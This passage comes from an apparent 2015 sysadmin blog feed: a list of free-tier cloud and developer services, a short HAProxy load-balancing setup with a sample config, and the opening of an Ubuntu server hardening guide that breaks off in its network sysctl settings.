<li><a href="https://www.pingdom.com/free/">https://www.pingdom.com/free/</a> - 1 site free</li>
<li><a href="http://www.watchsumo.com/">http://www.watchsumo.com/</a> - Free website uptime monitoring</li>
<li><a href="https://www.opsgenie.com/">https://www.opsgenie.com/</a> - Alert management with mobile push. 600 free alerts for 2 users a month</li>
<li><a href="https://www.runscope.com/">https://www.runscope.com/</a> - Monitor and log API usage.Single user 10,000 request/month free</li>
<li><a href="http://www.circonus.com/">http://www.circonus.com/</a> - Free for 20 metrics</li>
<li><a href="https://uptimerobot.com/">https://uptimerobot.com/</a> - Website monitoring, 50 monitors free</li>
<li><a href="https://www.statuscake.com/">https://www.statuscake.com/</a> - Website monitoring, unlimited tests free with limitations</li>
<li><a href="http://www.boundary.com/">http://www.boundary.com/</a> - Free 1 second resolution for up to 10 servers</li>
<li><a href="https://ghostinspector.com/">https://ghostinspector.com/</a> - Free website and web application monitoring. Single user, 100 test runs per month</li>
<li><a href="http://java-monitor.com/">http://java-monitor.com/</a> - Free monitoring of JVM’s and uptime</li>
<li><a href="http://sematext.com/spm">http://sematext.com/spm</a> - Free for 24h metrics, unlimited number of servers, 10 custom metrics, 500K custom metrics data points, unlimited dashboards, users, etc.</li>
<li><a href="https://sealion.com/">https://sealion.com/</a> - Free up to 2 servers, 3 days data retention, graphs and raw command output history (<code>top</code>, <code>ps</code>, <code>ifconfig</code>, <code>netstat</code>, <code>iostat</code>, <code>free</code>, custom, etc.)</li>
<li><a href="https://www.stathat.com">https://www.stathat.com</a> - Get started with ten stats for free, no expiration.</li>
<li><a href="https://www.skylight.io">https://www.skylight.io</a> - Free for first 100k requests</li>
<li><a href="https://www.appdynamics.com">https://www.appdynamics.com</a> - Free for 24h metrics, application performance management agents limited to one Java, one .NET, one PHP, and one Node.js</li>
<li><a href="https://deadmanssnitch.com">https://deadmanssnitch.com</a> - Monitoring for cron jobs. 1 free snitch (monitor) - more available if you refer others to sign up</li>
</ul>
<h3 id="crash--exception-handling">Crash / Exception handling</h3>
<ul>
<li><a href="https://rollbar.com/">https://rollbar.com/</a> - Exception and error monitoring, free plan - 5000 errors/month, unlimited users, 30 days retention.</li>
<li><a href="https://bugsnag.com/">https://bugsnag.com/</a> - Free for up to 2000 errors a month after the initial trial</li>
<li><a href="https://airbrake.io/">https://airbrake.io/</a> - Free for 1 project, 1 user, 2 errors per minute, 2 day retention</li>
<li><a href="http://getsentry.com/">http://getsentry.com/</a> - Sentry tracks app exceptions in realtime, has a small free plan. Free, unrestricted use if self-hosted.</li>
</ul>
<h3 id="search">Search</h3>
<ul>
<li><a href="https://www.algolia.com">https://www.algolia.com</a> - Hosted search-as-you-type (instant). Free hacker plan up to 1,000 documents and 50,000 operations. Bigger free plans available for community/open source projects.</li>
<li><a href="https://swiftype.com">https://swiftype.com</a> - hosted search solution (API and crawler). Free for a single search engine with up to 1000 documents. Free upgrade to Premium level for open-source projects.</li>
<li><a href="https://bonsai.io">https://bonsai.io</a> - Free 1GB memory and 1GB storage.</li>
<li><a href="http://www.searchly.com">http://www.searchly.com</a> - Free 2 Indices and 5MB storage.</li>
</ul>
<h3 id="email">Email</h3>
<ul>
<li><a href="http://www.sparkpost.com/">http://www.sparkpost.com/</a> - First 10,000 emails per month are free</li>
<li><a href="http://www.mailgun.com/">http://www.mailgun.com/</a> - First 10,000 emails per month are free</li>
<li><a href="http://mailchimp.com/">http://mailchimp.com/</a> - 2,000 subscribers and 12,000 emails per month are free</li>
<li><a href="https://sendloop.com/">https://sendloop.com/</a> - 2,000 subscribers and 10,000 email delivery every month is free</li>
<li><a href="http://sendgrid.com/">http://sendgrid.com/</a> - 400 emails per day for free/25,000 free transactional emails per month for emails sent from a Google compute instance</li>
<li><a href="http://mandrill.com/">http://mandrill.com/</a> - First 12,000 emails per month are free</li>
<li><a href="https://www.phplist.com/">https://www.phplist.com/</a> - Hosted version allow 300 mails per month for free</li>
<li><a href="https://www.mailjet.com/">https://www.mailjet.com/</a> - 6000 mails per month for free</li>
<li><a href="https://www.sendinblue.com/">https://www.sendinblue.com/</a> - 9000 mails per month for free</li>
<li><a href="https://mailtrap.io">https://mailtrap.io</a> - fake SMTP server for development, free plan with 1 inbox, 50 messages, no team members, 2 emails/sec, no forward rules</li>
<li><a href="https://mailstache.io">https://mailstache.io</a> - 4 Mailboxes @ 1GB each for up to 2 custom domains.</li>
<li><a href="https://postmarkapp.com">https://postmarkapp.com</a> - First 25,000 emails are free</li>
<li><a href="https://www.zoho.com/mail/">https://www.zoho.com/mail/</a> - Free Email management and collaboration for up to 10 users.</li>
<li><a href="http://moosend.com/">http://moosend.com/</a> — Mailing list management service. Free account for 6 months for startups.</li>
</ul>
<h3 id="cdn-and-protection">CDN and Protection</h3>
<ul>
<li><a href="http://www.cloudflare.com/">http://www.cloudflare.com/</a> - Basic service is free, good for a blog</li>
<li><a href="http://www.bootstrapcdn.com/">http://www.bootstrapcdn.com/</a> - CDN for bootstrap, bootswatch and font awesome</li>
<li><a href="https://surge.sh">https://surge.sh</a> - Zero-bullshit, single–command, bring your own source control web publishing CDN.</li>
<li><a href="https://cdnjs.com/">https://cdnjs.com/</a> - CDN for JavaScript libraries, CSS libraries, SWF, images, etc!</li>
<li><a href="http://www.jsdelivr.com/">http://www.jsdelivr.com/</a> - super-fast CDN of OSS (JS, CSS, fonts) for developers and webmasters, accepts PRs to add more</li>
<li><a href="https://developers.google.com/speed/libraries/">https://developers.google.com/speed/libraries/</a> - The Google Hosted Libraries is a content distribution network for the most popular, open-source JavaScript libraries.</li>
<li><a href="https://www.asp.net/ajax/cdn">https://www.asp.net/ajax/cdn</a> - The Microsoft Ajax Content Delivery Network (CDN) hosts popular third party JavaScript libraries such as jQuery and enables you to easily add them to your Web application</li>
<li><a href="https://toranproxy.com/">https://toranproxy.com/</a> - Proxy for Packagist and GitHub. Never fail CD. Free for personal use, 1 developer, no support.</li>
<li><a href="http://rawgit.com">http://rawgit.com</a> - free limited traffic, serves raw files directly from GitHub with proper Content-Type headers.</li>
</ul>
<h3 id="paas">PaaS</h3>
<ul>
<li><a href="https://cloud.google.com/appengine/">https://cloud.google.com/appengine/</a> - Google App Engine gives 28 instance hours free, 1Gb NoSQL Database and more.</li>
<li><a href="https://www.engineyard.com">https://www.engineyard.com</a> - Engine Yard provides 500 free hours</li>
<li><a href="http://azure.microsoft.com/">http://azure.microsoft.com/</a> - MS Azure gives $200 worth of free usage for a trial</li>
<li><a href="http://hpcloud.com/">http://hpcloud.com/</a> - $300 credit over 90 days.</li>
<li><a href="https://appharbor.com/">https://appharbor.com/</a> - A .Net PaaS that provides 1 free worker</li>
<li><a href="https://shellycloud.com/">https://shellycloud.com/</a> - Platform for hosting Ruby and Ruby on Rails apps. Shelly Cloud gives €20 free credit</li>
<li><a href="https://www.heroku.com/">https://www.heroku.com/</a> - Host your apps in the cloud, free for single process apps</li>
<li><a href="https://www.firebase.com/">https://www.firebase.com/</a> - Build realtime apps, free plan has 50 Max Connections, 5 GB Data Transfer, 100 MB Data Storage. 1 GB Hosting Storage and 100 GB Hosting Transfer.</li>
<li><a href="https://bluemix.net/">https://bluemix.net/</a> - IBM PaaS with a monthly free allowance</li>
<li><a href="https://www.openshift.com/">https://www.openshift.com/</a> - Red Hat PaaS, free tier provides three small gears (each with 512MB memory, 1GB storage.</li>
<li><a href="https://scalingo.com">https://scalingo.com</a> - Free Tier, up to 3 apps, 1 container each, combined with data store addons free tier</li>
<li><a href="https://algorithmia.com">https://algorithmia.com</a> - Host algorithms for free - includes 10,000 credits (seconds of on-demand execution time) free</li>
<li><a href="https://bigml.com/">https://bigml.com/</a> - Hosted machine learning algorithms. Unlimited free tasks for development, limit of 16MB data per task</li>
<li><a href="https://www.activestate.com/stackato/">https://www.activestate.com/stackato/</a> - Enterprise-hardened Cloud Foundry PaaS from ActiveState, for private, public and hybrid cloud, free up to 20GB</li>
<li><a href="http://www.outsystems.com/">http://www.outsystems.com/</a> - Enterprise web development PaaS for on-premise or cloud, free “personal environment” offering allows for unlimited code and up to 1GB database.</li>
<li><a href="https://platform.telerik.com/">https://platform.telerik.com/</a> - Build and deploy mobile applications using Javascript. Free plan has 100 MB Data Storage, 1GB File storage, 5GB Bandwidth, 1 million push notifications for BaaS offering, 100 active devices for analytics.</li>
<li><a href="http://scn.sap.com/docs/DOC-56411">http://scn.sap.com/docs/DOC-56411</a> - The in-memory Platform-as-a-Service offering from SAP. Free developer accounts come with 1GB structured, 1GB unstructured, 1GB of Git data and allow you to run HTML5, Java and HANA XS apps.</li>
<li><a href="https://www.mendix.com/">https://www.mendix.com/</a> - Rapid Application Development for Enterprises - Unlimited number of free sandbox environments supporting 10 users, 100MB of files and 100MB database storage each.</li>
</ul>
<h3 id="baas">BaaS</h3>
<ul>
<li><a href="http://apigee.com/docs/api-baas">http://apigee.com/docs/api-baas</a> - Unlimited trial includes NoSQL data store with 25GB of storage, user and permission management, geolocation, 10,000,000 push notifications per month, remote configuration, beta and A/B split testing, APM, fully API driven.Accessible and manageable via UI, SDK, and API.</li>
<li><a href="http://appacitive.com/">http://appacitive.com/</a> - Mobile backend, free for the first 3 months with 100k API calls,Push notifications.</li>
<li><a href="https://bip.io/">https://bip.io/</a> - A web-automation platform for easily connecting web services. Fully open GPLv3 to power the backend of your open-source project.Commercial OEM License available.</li>
<li><a href="https://www.blockspring.com/">https://www.blockspring.com/</a> - Cloud functions. Free for 5 million runs a month.</li>
<li><a href="https://www.contentful.com">https://www.contentful.com</a> - Content as a Service. Content Management & Delivery APIs in the cloud. 3 users, 3 spaces (repositories) and 1,000,000 API requests per month for free.</li>
<li><a href="http://www.kinvey.com">http://www.kinvey.com</a> - Mobile backend, starter plan has unlimited requests per second, with 2 GB of data storage, as well as push notifications for up 5,000,000 unique recipients. Enterprise application support.</li>
<li><a href="http://konacloud.io">http://konacloud.io</a> - Web and Mobile Backend as a Service, with 5 GB free account.</li>
<li><a href="https://layer.com/">https://layer.com/</a> - The full-stack building block for communications.</li>
<li><a href="https://www.parse.com">https://www.parse.com</a> - Mobile backends, free plan has 30 requests per second, with 20 GB of file and database storage, as well as push notifications for up to 1,000,000 unique recipients.</li>
<li><a href="http://quickblox.com/">http://quickblox.com/</a> - A communication backend for instant messaging, video and voice calling, and push notifications</li>
</ul>
<h3 id="web-hosting">Web Hosting</h3>
<ul>
<li><a href="https://www.simplybuilt.com">https://www.simplybuilt.com</a> - SimplyBuilt offers free website building and hosting for open source projects. Simple alternative to GitHub Pages.</li>
<li><a href="http://www.devport.co">http://www.devport.co</a> - Turn GitHub projects, Apps, and websites into a personal developer portfolio.</li>
<li><a href="https://www.netlify.com">https://www.netlify.com</a> - Builds, deploy and hosts static site or app, free for 100 MB data and 1 GB bandwidth.</li>
<li><a href="https://divshot.com/">https://divshot.com/</a> - Static Web Hosting for Developers, free basic apps, 1 GB bandwidth, 100 MB storage, custom domains, subdomain SSL.</li>
</ul>
<h3 id="iaas">IaaS</h3>
<ul>
<li><a href="http://aws.amazon.com/free/">http://aws.amazon.com/free/</a> - AWS Free Tier - Free for 12 months</li>
<li><a href="https://exoscale.ch/">https://exoscale.ch/</a> - Free resources for Open Source projects</li>
<li><a href="https://developer.rackspace.com/">https://developer.rackspace.com/</a> - Rackspace Cloud gives $50/month for 12 months</li>
<li><a href="https://cloud.google.com/compute/">https://cloud.google.com/compute/</a> - Google Compute Engine gives $300 over 60 days</li>
<li><a href="https://cloud.google.com/container-engine/">https://cloud.google.com/container-engine/</a> - Google Container Engine for run Docker containers(Alpha). Pricing: same of Google Compute Engine.</li>
<li><a href="https://nsone.net/">https://nsone.net/</a> - Data Driven DNS, automatic traffic management, 1M free Queries</li>
<li><a href="https://developer.rackspace.com/signup/">https://developer.rackspace.com/signup/</a> - Get $50/month for 12 months to use toward cloud services.</li>
</ul>
<h3 id="dbaas">DBaaS</h3>
<ul>
<li><a href="https://mongolab.com/">https://mongolab.com/</a> - MongoDB as a service (500mb free)</li>
<li><a href="https://cloudant.com/">https://cloudant.com/</a> - Hosted database from IBM, free if usage is below $50/month</li>
<li><a href="https://realm.io">https://realm.io</a> - Free to use even for commercial projects, under Apache 2.0 License</li>
<li><a href="https://orchestrate.io/">https://orchestrate.io/</a> - 1 application free</li>
<li><a href="https://redislabs.com/redis-cloud">https://redislabs.com/redis-cloud</a> - Redis as a Service (25 mb free)</li>
<li><a href="https://www.backand.com/">https://www.backand.com/</a> - Back-end as a service (for AngularJS)</li>
<li><a href="http://www.zenginehq.com">http://www.zenginehq.com</a> - Build business workflow apps in minutes - free for single users</li>
<li><a href="https://parsehub.com/">https://parsehub.com/</a> — Extract data from dynamic sites, turn dynamic websites into APIs, 5 projects free.</li>
<li><a href="https://import.io/">https://import.io/</a> - Easily turn websites into APIs, completely free for life.</li>
<li><a href="https://kimonolabs.com">https://kimonolabs.com</a> - “Turn websites into structured APIs from your browser in seconds”, free for public APIs, up to 20 million pages fetch / month. Supports scheduling, JSON, CSV, post-auth, …</li>
<li><a href="https://redsmin.com/">https://redsmin.com/</a> - Online real-time monitoring and administration service for Redis, 1 Redis instance free</li>
<li><a href="http://graphstory.com/">http://graphstory.com/</a> - GraphStory offers Neo4j (a Graph Database) as a service</li>
<li><a href="http://www.elephantsql.com/">http://www.elephantsql.com/</a> - PostgreSQL as a service (20mb free)</li>
</ul>
<h3 id="stun-webrtc-web-socket-servers-and-other-routers">STUN, WebRTC, Web Socket Servers and other Routers</h3>
<ul>
<li><a href="https://pusher.com.">https://pusher.com.</a> - Hosted Web Sockets broker. Free for up to 20 simultaneous connections and 100k messages a day.</li>
<li><a href="stun:stun.l.google.com:19302">stun:stun.l.google.com:19302</a> - Google STUN</li>
<li><a href="stun:global.stun.twilio.com:3478?transport=udp">stun:global.stun.twilio.com:3478?transport=udp</a> - Twilio STUN</li>
<li><a href="https://www.segment.com.">https://www.segment.com.</a> - Hub to translate and route events to other third party services. 100k events a month free.</li>
<li><a href="https://ngrok.com/">https://ngrok.com/</a> - expose locally running servers over a tunnel to a public URL</li>
</ul>
<h3 id="issue-tracking--project-management">Issue tracking / Project management</h3>
<ul>
<li><a href="https://www.pivotaltracker.com/community/public-projects">https://www.pivotaltracker.com/community/public-projects</a> - Pivotal Tracker. Free for public projects.</li>
<li><a href="https://www.atlassian.com/opensource/overview">https://www.atlassian.com/opensource/overview</a> - Free Jira etc for Open Source projects</li>
<li><a href="https://kanbanflow.com/">https://kanbanflow.com/</a> - Board based project management. Free (premium version with more options).</li>
<li><a href="https://kanbanpad.com/">https://kanbanpad.com/</a> - Board based project management. Free (premium version with more options).</li>
<li><a href="https://kanbanery.com/">https://kanbanery.com/</a> - Board based project management. Free for 2 users (premium tiers with more options).</li>
<li><a href="https://zenhub.io/">https://zenhub.io/</a> - The only project management solution inside GitHub. Free for public repos, OSS, and non-profits.</li>
<li><a href="https://trello.com/">https://trello.com/</a> - Board based project management. Free</li>
<li><a href="https://waffle.io/">https://waffle.io/</a> - Board based project management solution from your existing GitHub Issues. Free for open-source.</li>
<li><a href="https://huboard.com/">https://huboard.com/</a> - Instant project management for your GitHub issues. Free for open-source.</li>
<li><a href="https://taiga.io/">https://taiga.io/</a> - Project management platform for startups and agile developers. Free for open-source.</li>
<li><a href="https://www.jetbrains.com/youtrack/buy/open">https://www.jetbrains.com/youtrack/buy/open</a>_source_incloud.jsp - Free hosted YouTrack (InCloud) for FOSS projects (private projects free for 10 users: <a href="https://www.jetbrains.com/youtrack/buy/">https://www.jetbrains.com/youtrack/buy/</a>)</li>
<li><a href="https://github.com">https://github.com</a> - In addition to its git storage facility, github offers basic issue tracking</li>
<li><a href="https://asana.com">https://asana.com</a> - Free for private project with collaborators.</li>
<li><a href="http://www.acunote.com/">http://www.acunote.com/</a> - Free project management and SCRUM software for up to 5 team members.</li>
<li><a href="http://gliffy.com/">http://gliffy.com/</a> - Online diagrams: flowchart, UML, wireframe… Also Plugins for Jira & Confluence. 5 diagrams and 2 MB free.</li>
<li><a href="https://cacoo.com/">https://cacoo.com/</a> - Online diagrams in real time: flowchart, UML, network. Free max. 15 users/diagram, 25 sheets.</li>
<li><a href="https://www.draw.io/">https://www.draw.io/</a> - Online diagrams stored locally, in Google Drive, OneDrive or Dropbox. Free for all features and storage levels.</li>
<li><a href="https://hub.jazz.net/">https://hub.jazz.net/</a> - IBM Bluemix’s project management services. Free for public projects, free for up to 3 users for private projects.</li>
<li><a href="http://leankit.com/">http://leankit.com/</a> - Kanban board, that visualizes your workflow. Free up to 10 users.</li>
<li><a href="https://www.visualstudio.com/products/what-is-visual-studio-online-vs">https://www.visualstudio.com/products/what-is-visual-studio-online-vs</a> - Unlimited free private code repositories; Tracks bugs, work items, feedback and more.</li>
<li><a href="https://testlio.com">https://testlio.com</a> - Issue tracking, test management and beta testing platform. Free for private use.</li>
</ul>
<h3 id="storage-and-media-processing">Storage and Media Processing</h3>
<ul>
<li><a href="https://www.aerofs.com/">https://www.aerofs.com/</a> - P2P file syncing, free for up to 30 users</li>
<li><a href="http://cloudinary.com">http://cloudinary.com</a> - Image upload, powerful manipulations, storage, and delivery for sites and apps, with libraries for Ruby, Python, Java, PHP, Objective-C and more. Perpetual free tier includes 7500 images/month, 2gb storage, 5gb bandwidth.</li>
<li><a href="https://plot.ly">https://plot.ly</a> - graph and share your data. Free tier includes unlimited public files and 10 private files.</li>
<li><a href="https://transloadit.com">https://transloadit.com</a> - Handles file uploads & encoding of video, audio, images, documents. Free for open source & other do-gooders. Commercial applications get the first GB free for test driving.</li>
<li><a href="https://podio.com/">https://podio.com/</a> - You can use Podio with a team of up to five people and try out the features of the Basic Plan - except User Management.</li>
<li><a href="https://shrinkray.io">https://shrinkray.io</a> - free image optimization of Github repos</li>
<li><a href="https://www.cine.io">https://www.cine.io</a> - Scalable video broadcasting and p2p real-time video chat for iOS, Android, and web. Free tiers available for developers.</li>
</ul>
<h3 id="data-visualization-on-maps">Data Visualization on Maps</h3>
<ul>
<li><a href="http://geocod.io">http://geocod.io</a> - Geocoding via API or CSV Upload. 2.500 free queries per day.</li>
<li><a href="http://gogeo.io/">http://gogeo.io/</a> - Maps and geospatial services with an easy to use API and support for big data</li>
<li><a href="https://cartodb.com">https://cartodb.com</a> - Create maps and geospatial APIs from your data and public data.</li>
<li><a href="http://www.giscloud.com">http://www.giscloud.com</a> - Visualize, analyze and share geo data online.</li>
<li><a href="https://www.mapbox.com/">https://www.mapbox.com/</a> - Maps, geospatial services, and SDKs for displaying map data.</li>
</ul>
<h3 id="package-build-systems">Package Build Systems</h3>
<ul>
<li><a href="https://build.opensuse.org/">https://build.opensuse.org/</a> - package build service for multiple distros (SUSE, EL, Fedora, Debian etc.)</li>
<li><a href="https://copr.fedoraproject.org/">https://copr.fedoraproject.org/</a> - mock-based RPM build service for Fedora and EL</li>
<li><a href="https://help.launchpad.net/Packaging">https://help.launchpad.net/Packaging</a> - Ubuntu and Debian build service</li>
</ul>
<h3 id="ide-and-code-editing">IDE and Code Editing</h3>
<ul>
<li><a href="https://c9.io">https://c9.io</a> - IDE in a browser. Incorporates an Ubuntu virtual machine and in-browser terminal access. Integrates with github and bitbucket, but also adds SFTP and generic Git access.</li>
<li><a href="https://koding.com">https://koding.com</a> - IDE in a browser. Features: Full sudo access - VMs hosted on Amazon EC2 - SSH Access - Real EC2 VM, no LXCs/hypervising - Custom sub-domains - Publicly accessible IP - Ubuntu 14.04 - IDE/Terminal/Collaboration</li>
<li><a href="https://www.nitrous.io">https://www.nitrous.io</a> - Private Linux instance(s) with interactive collaboration.</li>
<li><a href="http://visualstudio.com/free">http://visualstudio.com/free</a> - Fully-featured IDE with thousands of extensions, cross-platform app development (Microsoft extensions available for download for iOS and Android), desktop, web and cloud development, multi-language support (C#, C++, JavaScript, Python, PHP and more).</li>
<li><a href="https://cloud.sagemath.com">https://cloud.sagemath.com</a> - Collaborative mathematics-oriented IDE in a browser, with support for Python, LaTeX, IPython Notebooks, etc.</li>
<li><a href="https://wakatime.com">https://wakatime.com</a> - quantified self metrics about your coding activity, using text editor plugins - Limited plan for free.</li>
<li><a href="https://codenvy.com/">https://codenvy.com/</a> - IDE in a browser, collaborative, git integration, build and run your app in customizable Docker-based runners (free 512Mb RAM to distribute between you runners), pre-integrated deploy to Google Apps.</li>
<li><a href="https://apiary.io/">https://apiary.io/</a> - Collaborative design API with instant API mock and generated documentation (Free for unlimited API blueprints and unlimited user with one admin account and hosted documentation)</li>
<li><a href="https://www.mockable.io/">https://www.mockable.io/</a> - Mockable is a simple configurable service to mock out RESTful API or SOAP web-services. This online service allows you to quickly define REST API or SOAP endpoints and have them return JSON or XML data.</li>
<li><a href="https://www.jetbrains.com/products.html">https://www.jetbrains.com/products.html</a> - Productivity tools, IDEs and deploy tools. Free license for students, teachers, open source projects, and user groups.</li>
<li><a href="https://readme.io/">https://readme.io/</a> - Beautiful documentations made easy - free for Open Source</li>
<li><a href="https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx">https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx</a> - Visual Studio. Not only for Windows and .NET</li>
<li><a href="https://codio.com/">https://codio.com/</a> - Codio is a cloud-based computer programming platform for universities, schools, and developer professionals.</li>
<li><a href="http://www.stackhive.com/">http://www.stackhive.com/</a> - Cloud based IDE in browser that supports HTML5/CSS3/jQuery/Bootstrap</li>
<li><a href="http://www.tadpoledb.com/">http://www.tadpoledb.com/</a> - IDE in browser Database tool. Support Amazon RDS, Apache Hive, Apache Tajo, CUBRID, MariaDB, MySQL, Oracle, SQLite, MSSQL, PostgreSQL and MongoDB databases.</li>
</ul>
<h3 id="analytics-events-andstatistics">Analytics, Events andStatistics</h3>
<ul>
<li><a href="https://www.librato.com/">https://www.librato.com/</a> - Event/Data collection service with analysis and graphs. Limited plan for free.</li>
<li><a href="https://google.com/analytics/">https://google.com/analytics/</a> - Google Analytics</li>
<li><a href="https://heapanalytics.com/">https://heapanalytics.com/</a> - Automatically captures every user action in iOS or web apps. Free for up to 5,000 visits per month.</li>
<li><a href="http://sematext.com/search-analytics">http://sematext.com/search-analytics</a> - Free for up to 50K actions/month, 1 day data retention, unlimited dashboards, users, etc.</li>
<li><a href="https://usabilityhub.com">https://usabilityhub.com</a> - Test designs and mockups on real people, track visitors. Free for one user, unlimited tests.</li>
<li><a href="https://gosquared.com">https://gosquared.com</a> - Track up to 1,000 data points for free.</li>
<li><a href="https://mixpanel.com">https://mixpanel.com</a> - Free 25000 points or 200000 with their badge on your site.</li>
</ul>
<h3 id="international-mobile-number-verification-api-and-sdk">International Mobile number verification API and SDK</h3>
<ul>
<li><a href="https://www.cognalys.com">https://www.cognalys.com</a> - Freemium mobile number verification through an innovative and reliable method than using SMS gateway. Free accounts will have 70 Tries and 50 verifications per day.</li>
</ul>
<h3 id="payment--billing-integration">Payment / Billing Integration</h3>
<ul>
<li><a href="https://www.braintreepayments.com">https://www.braintreepayments.com</a> - Credit Card, Paypal, Venmo, Bitcoin, Apple Pay integration. Single and Recurrent Payments. First $50 are free of charge.</li>
</ul>
<h3 id="other-packs">Other Packs</h3>
<ul>
<li><a href="https://education.github.com/pack">https://education.github.com/pack</a> - As long as you’re a student at a recognized university</li>
</ul>
<h3 id="docker-related">Docker Related</h3>
<h4 id="alternate-container-hosting">Alternate container hosting</h4>
<ul>
<li><a href="https://quay.io/">https://quay.io/</a> - Unlimited free public containers</li>
</ul>
<h3 id="vagrant-related">Vagrant Related</h3>
<h4 id="vagrant-box-indexes">Vagrant box indexes</h4>
<ul>
<li><a href="https://atlas.hashicorp.com/boxes/search">https://atlas.hashicorp.com/boxes/search</a> - HashiCorp’s index of boxes</li>
<li><a href="http://vagrantbox.es">http://vagrantbox.es</a> - An alternative public box index</li>
</ul>
<h3 id="data-mining">Data mining</h3>
<ul>
<li><a href="http://www.monkeylearn.com/">http://www.monkeylearn.com/</a> - Text mining in the cloud, 1,000 queries for free per month.</li>
</ul>
<p><a href="https://jivoi.github.io/2015/08/14/free-aas-resources-list/">Free #aaS Resources List</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on August 14, 2015.</p>https://jivoi.github.io/2015/07/29/lb-with-haproxy2015-07-29 14:56:16 +0300T00:00:00-00:002015-07-29T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Simple HTTP\HTTPS Load Balancing with Haproxy</p>
<h3 id="install-haproxy">Install Haproxy</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>add-apt-repository -y ppa:vbernat/haproxy-1.5
<span class="nv">$ </span>apt-get update
<span class="nv">$ </span>apt-get install -y haproxy</code></pre></div>
<h3 id="simple-haproxycfg">Simple Haproxy.cfg</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># /etc/haproxy/haproxy.cfg</span>
global
log /dev/log local0
log /dev/log local1 notice
chroot /var/lib/haproxy
stats socket /run/haproxy/admin.sock mode <span class="m">660</span> level admin
stats timeout 30s
user haproxy
group haproxy
daemon
<span class="c"># Default SSL material locations</span>
ca-base /etc/ssl/certs
crt-base /etc/ssl/private
<span class="c"># Default ciphers to use on SSL-enabled listening sockets.</span>
ssl-default-bind-ciphers kEECDH+aRSA+AES:kRSA+AES:+AES256:RC4-SHA:!kEDH:!LOW:!EXP:!MD5:!aNULL:!eNULL
defaults
log global
mode http
option httplog
option dontlognull
timeout connect 5000
timeout client 50000
timeout server 50000
errorfile <span class="m">400</span> /etc/haproxy/errors/400.http
errorfile <span class="m">403</span> /etc/haproxy/errors/403.http
errorfile <span class="m">408</span> /etc/haproxy/errors/408.http
errorfile <span class="m">500</span> /etc/haproxy/errors/500.http
errorfile <span class="m">502</span> /etc/haproxy/errors/502.http
errorfile <span class="m">503</span> /etc/haproxy/errors/503.http
errorfile <span class="m">504</span> /etc/haproxy/errors/504.http
frontend localhost
<span class="nb">bind</span> *:80
<span class="nb">bind</span> *:443
option tcplog
mode tcp
default_backend webnodes
backend webnodes
mode tcp
balance roundrobin
option ssl-hello-chk
option forwardfor
http-request <span class="nb">set</span>-header X-Forwarded-Port %<span class="o">[</span>dst_port<span class="o">]</span>
http-request add-header X-Forwarded-Proto https <span class="k">if</span> <span class="o">{</span> ssl_fc <span class="o">}</span>
option httpchk HEAD / HTTP/1.1<span class="se">\r\n</span>Host:localhost
server web01 192.168.56.1:443 check
server web02 192.168.56.2:443 check
listen stats *:1936
stats <span class="nb">enable</span>
<span class="nb"> </span>stats uri /
stats hide-version
stats auth someuser:password</code></pre></div>
<h3 id="start-haproxy">Start Haproxy</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>service haproxy restart</code></pre></div>
<p><a href="https://jivoi.github.io/2015/07/29/lb-with-haproxy/">LB with Haproxy</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 29, 2015.</p>https://jivoi.github.io/2015/07/22/ubuntu-security-hardening2015-07-22 18:11:54 +0300T00:00:00-00:002015-07-22T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Based on CIS and my experience</p>
<section id="table-of-contents" class="toc">
<header>
<h3>Contents</h3>
</header>
<div id="drawer">
<ul id="markdown-toc">
<li><a href="#sshd-settings" id="markdown-toc-sshd-settings">SSHD Settings</a></li>
<li><a href="#limit-access-to-su-cmd" id="markdown-toc-limit-access-to-su-cmd">Limit Access to SU cmd</a></li>
<li><a href="#network-security-systcl" id="markdown-toc-network-security-systcl">Network Security Systcl</a></li>
<li><a href="#firewall-with-ufw" id="markdown-toc-firewall-with-ufw">Firewall with UFW</a></li>
<li><a href="#php-settings" id="markdown-toc-php-settings">PHP Settings</a></li>
<li><a href="#apache-settings" id="markdown-toc-apache-settings">Apache Settings</a></li>
<li><a href="#install-apache-modsecurity" id="markdown-toc-install-apache-modsecurity">Install Apache ModSecurity</a></li>
<li><a href="#install-apache-modevasive" id="markdown-toc-install-apache-modevasive">Install Apache ModEvasive</a></li>
<li><a href="#install-rootkit-checkers" id="markdown-toc-install-rootkit-checkers">Install Rootkit Checkers</a></li>
<li><a href="#install-logwatch" id="markdown-toc-install-logwatch">Install Logwatch</a></li>
<li><a href="#automatic-security-updates" id="markdown-toc-automatic-security-updates">Automatic Security Updates</a></li>
<li><a href="#process-accounting" id="markdown-toc-process-accounting">Process Accounting</a></li>
</ul>
</div>
</section>
<!-- /#table-of-contents -->
<h3 id="sshd-settings">SSHD Settings</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># /etc/ssh/sshd_config</span>
PermitRootLogin no
Port 1022
<span class="nv">$ </span>service ssh reload</code></pre></div>
<h3 id="limit-access-to-su-cmd">Limit Access to SU cmd</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>dpkg-statoverride --update --add root sudo <span class="m">4750</span> /bin/su</code></pre></div>
<h3 id="network-security-systcl">Network Security Systcl</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># /etc/sysctl.d/10-network-security.conf</span>
<span class="c"># Ignore ICMP broadcast requests</span>
net.ipv4.icmp_echo_ignore_broadcasts <span class="o">=</span> 1
<span class="c"># Disable source packet routing</span>
net.ipv4.conf.all.accept_source_route <span class="o">=</span> 0
net.ipv6.conf.all.accept_source_route <span class="o">=</span> 0
net.ipv4.conf.default.accept_source_route <span class="o">=</span> 0
net.ipv6.conf.default.accept_source_route <span class="o">=</span> 0
<span class="c"># Ignore send redirects</span>
net.ipv4.conf.all.send_redirects <span class="o">=</span> 0
net.ipv4.conf.default.send_redirects <span class="o">=</span> 0
<span class="c"># Block SYN attacks</span>
net.ipv4.tcp_max_syn_backlog <span class="o">=</span> 2048
net.ipv4.tcp_synack_retries <span class="o">=</span> 2
net.ipv4.tcp_syn_retries <span class="o">=</span> 5
